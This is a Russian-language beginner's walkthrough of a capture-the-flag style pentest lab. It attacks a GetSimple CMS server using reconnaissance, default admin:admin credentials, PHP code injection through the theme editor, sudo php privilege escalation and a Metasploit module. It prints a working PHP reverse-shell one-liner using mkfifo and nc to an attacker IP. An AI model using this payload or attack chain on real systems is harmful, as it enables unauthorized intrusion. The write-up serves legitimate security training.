
Внимание!!!
В статье показано пошаговое решение модуля Getting Started. Я настоятельно рекомендую сначала попробовать решить задачу самостоятельно, а в случае затруднений обратиться к подробному пошаговому руководству. Это позволит вам лучше понять процесс и развить собственные навыки. Также вы можете изучить различные подходы к решению и логику мышления.
Я такой же, как и вы, начинающий специалист в сфере пентеста. Не судите слишком строго!
Задание:
1. Создайте цель, закрепитесь и отправьте содержимое флага user.txt.
2. После получения доступа к цели, повышайте привилегии, чтобы укорениться и представить содержимое флага root.txt.
Решение 1. Ручной способ
С самого начала у нас есть только IP-адрес целевой машины. Начнем по
порядку разведывать хост и получать дополнительную информацию о цели.
1. Начнем с проверки IP адреса. Это сайт, на котором находится система поставки контента GetSimple CMS.

Можем запомнить этот плагин, в будущем может нам пригодиться для получения доступа к системе.
2. Запустим Nmap-сканирование в поисках открытых портов:

-sS - Запускает SYN-сканирование 1000 самых популярных портов
-n - Отключает разрешение DNS
-Pn - Отключает запросы ICMP Echo
--disable-arp-ping - Отключает ARP-пинг
-oA scan - Сохраняет результаты во всех форматах. Хорошей практикой является сохранять результаты всех сканирований в файл, чтобы потом добавить их в отчет.
Находим открытые порты 22 и 80.
3. Произведем захват баннеров открытых портов:

Промежуточный результат:
Мы узнали, что на сайте используется система GetSimple CMS, открыты порты 22 и 80, скорее всего, сервер работает на ОС Ubuntu Linux. Вероятнее
всего, GetSimple CMS будет иметь уязвимость, необходимо будет узнать
версию плагина.
4. Зайдем с другой стороны и попробуем найти открытые каталоги с помощью gobuster. Для поиска каталогов будем использовать файл common.txt из набора списков SecLists.

5. Перейдем к анализу найденных каталогов.
5.1 /robots.txt - это текстовый файл, который содержит параметры индексирования сайта для роботов поисковых систем. Интересно, нужно проверить. В каталоге указан только каталог /admin/, про который мы и так узнали с помощью фаззинга.
5.2 /admin/

В этом каталоге находится панель администратора, но чтобы попасть внутрь,
нам нужно авторизоваться. Попробуем подобрать стандартные учетные
данные для входа в панель (Например: admin:admin, administrator:administrator и т.д.). Вдруг повезет. Если не повезет, можно поискать в интернете стандартные учетные данные для входа в панель администратора GetSimple CMS.
Проведя нехитрые манипуляции, у нас получается войти в панель администратора с логином и паролем admin:admin.

В консоли мы нашли версию плагина (3.3.15), и теперь можно поискать известные уязвимости в интернете. Эта версия позволяет загружать файлы с
произвольным содержимым через theme-edit.php.
Промежуточный результат:
На данном этапе мы получили доступ к консоли администратора и знаем о
наличии уязвимости, которую мы должны будем проэксплуатировать.
6. Эксплуатация уязвимости. Во вкладке Theme мы можем ввести произвольный
PHP-код. Попробуем загрузить обратную оболочку на сервер:
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.69 9443 >/tmp/f"); ?>
Нажимаем "Cохранить" и видим, что скрипт был успешно загружен по пути
/theme/innovation/template.php.

Запустив netcat, и перейдя по указанному пути, мы получаем на сервере обратную оболочку:

Теперь мы имеем доступ к серверу.

7. Для улучшения работы с обратной оболочкой, нам необходимо настроить TTY (Телетайп):

После этого мы можем получить наш флаг по пути /home/mtb3n/user.txt (Имя пользователя может отличаться).
Результат:
1-ый пункт задания мы выполнили и смогли зайти на целевой сервер, чтобы получить флаг, но это пол задания. Впереди еще повышение привилегий до root.
8. Загрузим скрипт LinEnum.sh на сервер, чтобы найти уязвимости повышения
привилегий. Скачать этот скрипт можно напрямую с Гита или, использовав команду:

Для этого запустим Python сервер, чтобы загрузить через него скрипт:

После этого мы можем скачать скрипт на целевую машину с помощью команды:

Примечание!
1. На целевой машине должна быть открыта папка /var/www/html/theme/Innovation/, ибо у нее есть права на скачивание.
2. Скрипт должен находится в той же папке, где и запущен сервер Python.
Чтобы выполнить скрипт, у него должны быть права на выполнение, повысим права:

И запускаем скрипт.
9. В ходе выполнения скрипта мы нашли, что /usr/bin/php может выполняться с привилегиями sudo без пароля.

10. Надо эксплуатировать данную уязвимость. Для этого мы должны загрузить на целевой сервер скрипт обратной оболочки (script.php):

Запустим netcat-прослушиватель на атакующей машине:

И запустим скрипт с помощью команды:

В итоге мы получаем root права на целевой машине.

Внимание!
Два скрипта обратной оболочки, указанных в статье, отличаются друг от друга. Что бы возможно было подключиться по обратной оболочке с рутовскими правами, необходимо указать другой порт, отличный от скрипта для обычных прав.
Вот мы и получили рутовские права на целевой машине и можно делать все, что угодно. Необходимый нам флаг находится в папке /root/root.txt.
Решение 2. С помощью Metasploit
Запускаем Metasploit с помощью:

Так как мы уже провели первоначальную разведку и узнали, что на сайте находится система GetSimple CMS, мы можем поискать эксплойт для этого плагина:

Нам необходим эксплойт под названием /exploit/multi/http/getsimplecms_unauth_code_exec. Выбираем его:

Просмотрев необходимые нам параметры:

Мы должны указать:
IP адрес целевой машины (set rhosts [ip]);
IP адрес атакующей машины (set lhost [ip]);
Где находится GetSimple (targeturi) (set targeturi /);

После ввода всех данных мы можем запустить выполнение с помощью команды exploit.
В итоге мы получим оболочку пользователя и сможем прочитать 1-ый флаг. Получения root-прав описано в первом решении.
Заключение
На этом завершается наше решение данного модуля. Эта была первая уязвимая
машина, с которой я успешно справился самостоятельно, и мне хотелось поделиться своим опытом. Это лишь начало моего пути в мир кибербезопасности, и впереди меня ждут множество увлекательных задач и новых открытий.